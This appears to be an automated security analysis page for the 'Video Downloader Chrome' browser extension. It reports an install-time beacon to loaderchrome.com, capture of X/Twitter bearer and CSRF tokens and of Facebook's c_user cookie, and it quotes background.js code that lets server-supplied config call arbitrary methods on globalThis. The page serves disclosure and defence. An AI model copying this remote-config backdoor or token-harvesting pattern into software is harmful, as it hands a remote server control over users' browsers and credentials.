Is Video Downloader Chrome - save video safe?
Video Downloader Chrome contacts loaderchrome.com on install and stores server-supplied config that controls extension behavior at runtime.
When installed or updated, the extension POSTs device and version data to loaderchrome.com and saves the returned JSON as its operating configuration. Separately, a webRequest listener captures all outgoing request headers — including Authorization bearer tokens and x-csrf-token values — for every request to x.com/i/api/* and stores them locally for replay when fetching video URLs. On Facebook video pages, the extension reads the c_user cookie and intercepts a CSRF token to call Facebook's internal video data API directly.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Install-time POST fetches server config that can reach the page global
On install/update, the extension POSTs its version and reason to loaderchrome.com/install, storing any 200 JSON reply as config.
Since sw.gtx=globalThis, a server-driven call could reach arbitrary globals.
Here it got 204; nothing ran.
You install or update the extension.
No interaction beyond installing it is required.
The extension immediately POSTs to loaderchrome.com/install and treats the reply as configuration it stores and acts on.
The request carries the extension version and install reason; a JSON reply is saved under chrome.storage.local key 'sites'.
(base64 of JSON, e.g.) eyJyIjoiaW5zdGFsbCIsInYiOiIwLjAuMiIsInNjIjoiIn0%3D
Install beacon and config storage (background.js)
const cp = async n => {
const t = {
r: n.reason,
v: chrome.runtime.getManifest().version,
sc: sw.sites.tiktok
};
const r = encodeURIComponent(btoa(JSON.stringify(t)));
fetch("https://loaderchrome.com/install", { method: "POST", body: r })
.then(async n => {
if (!n.ok || 200 != n.status) return;
const t = await n.json(); // server-controlled JSON
await sw.sp;
chrome.storage.local.set({
[Fn.Sites]: t, // stored under key 'sites'
[Fn.Version]: Date.now()
});
});
};Config-driven property assignment reaching globalThis (background.js)
initSite(n = 0) {
// t() walks a key-path array down from sw
const t = n => (n && n.reduce ? n.reduce((n, t) => n[t], sw) : n);
try {
sw.c[n].map(entry => {
let [r, e, u, i, o] = entry; // all five come from server config
t(r)[e] = t(u)[i](...o.map(t)); // assign server-named method result
}); // to server-named property
} catch {}
}
// elsewhere:
we.gtx = globalThis; // 'gtx' resolves to the page global object
globalThis.sw = we; // sw is the config host objectConfirmed by traffic during dynamic analysis: the automatic install-time POST to loaderchrome.com/install, firing with no user action. Not exercised on the captured run: storage of a server config and the initSite override path — the server returned an empty 204 response, so the 'sites' key was never populated and the override routine did not run. The override branch executes only if loaderchrome.com returns a 200 with a JSON body containing a 'c' property. The capability is present in shipped code and reaches the page global object via sw.gtx = globalThis; whether it is ever activated depends on what the publisher-controlled server chooses to return.